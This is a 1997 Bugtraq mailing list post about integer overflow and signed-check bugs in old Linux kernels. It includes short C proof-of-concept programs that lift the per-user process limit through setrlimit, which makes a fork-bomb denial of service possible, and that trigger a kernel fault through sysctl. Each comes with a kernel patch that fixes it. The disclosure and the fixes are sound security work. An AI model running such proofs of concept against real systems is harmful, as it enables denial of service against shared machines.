Linux setrlimit and sysctl integer overflows

Date: Thu, 28 Aug 1997 00:33:08 -0300
From: Solar Designer <solar@FALSE.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: Integer Overflows

Hello!

> > > +   if (port > 65535)
> > > +     packet_disconnect("Requested port is %d is invalid",port);
> >
> > This still doesn't fix the problem since port is defined as a signed int,
> > and negative values will pass your check. Of course, their lower 16 bits
> > may represent a privileged port number.

> The lines directly after this in the code are
>
>     if (port < 1024 && !is_root)
>       packet_disconnect("Requested forwarding of port %d but user is not root.",
>
> It looks like that should catch negative (as well as privileged)
> port numbers, so I don't think the patch really has to fix that
> problem at all.

You're right -- I should have looked at the code once again before sending
the message. ;) However, if we add an extra error message for invalid ports,
it's quite natural to check for both large positive and negative ports there.
So I think the signed check problem was worth mentioning anyway.

Actually, the main reason I posted that message was to show that integer
overflows and signed checks are quite common, and often cause security holes.
I think there're quite a lot of them in any UNIX kernel where many syscalls
accept integer parameters (BTW, for shared libraries it's not a problem since
they run at the same privilege level as the user program). Even Pentium RDMSR
instruction comes to mind (which allows access to extra registers due to a
signed check in the microcode; fortunately, this has nothing to do with UNIX
security).

Also, I'm asked about those Linux holes I mentioned. The setrlimit() hole got
fixed in 2.0.30 (but not in 2.1.x yet; fork() is not vulnerable though, while
some other syscalls relying on rlimits are vulnerable). Here're some parts of
the message I posted to linux-kernel list 3 months ago (the exploit works on
kernels up to 2.0.29; needs to be changed to work on 2.1.x):

--- old setrlimit message ---

#include <stdio.h>
#include <sys/resource.h>
#include <unistd.h>

main() {
  struct rlimit rl;

  rl.rlim_max = rl.rlim_cur = 0x80000000;
  if (setrlimit(RLIMIT_NPROC, &rl)) perror("setrlimit");
  execl("/bin/sh", "sh", NULL);
}

The code above removes the limit on number of processes when running as a
non-root user. Then a simple 'while (1) fork();' running as that user would
cause a denial of service regardless of a limit being previously set.

The reason setrlimit() call succeeds is that users are allowed to decrease
their resource limits, but the comparison is signed, so negative values are
always allowed to set. However, some other syscalls don't handle negative
values properly.

For example, find_empty_process() in kernel/fork.c first decreases the value
twice, allowing two magic values (0x80000000 and 0x80000001) to effectively
become huge positive ones. Some other syscalls use the limits as unsigned.

+++ kernel/sys.c        Wed Mar 26 16:54:01 1997
@@ -854,6 +854,8 @@
        if (err)
                return err;
        memcpy_fromfs(&new_rlim, rlim, sizeof(*rlim));
+       if (new_rlim.rlim_cur < 0 || new_rlim.rlim_max < 0)
+               return -EINVAL;
        old_rlim = current->rlim + resource;
        if (((new_rlim.rlim_cur > old_rlim->rlim_max) ||
             (new_rlim.rlim_max > old_rlim->rlim_max)) &&

--- old setrlimit message ends here ---

Now, to the sysctl() problem. This one is just a possibility to generate a
fault in the kernel, which gets logged, and allows fast syslog (and /var)
flooding. Not too serious. However, it shows how an integer multiply overflow
can cause a security hole. Should get fixed in 2.0.31.

#include <sys/sysctl.h>

main() {
  sysctl(NULL, 0x80000000, NULL, NULL, NULL, 0);
/* 0x80000000 can be replaced with 0xC0000000 -- both are negative, and
 * produce a zero when multiplied by sizeof(int) */
}

There would also be a similar problem in getgroups() if gid_t was larger than
2 bytes long, this should be fixed if gid_t is changed some day.

--- /extra/linux-2.0.30/kernel/sysctl.c Sat Apr 19 20:43:22 1997
+++ linux/kernel/sysctl.c       Mon Jun  2 23:05:52 1997
@@ -180,7 +180,7 @@
        struct ctl_table_header *tmp;
        void *context;

-       if (nlen == 0 || nlen >= CTL_MAXNAME)
+       if (nlen <= 0 || nlen >= CTL_MAXNAME)
                return -ENOTDIR;

        error = verify_area(VERIFY_READ,name,nlen*sizeof(int));

Signed,
Solar Designer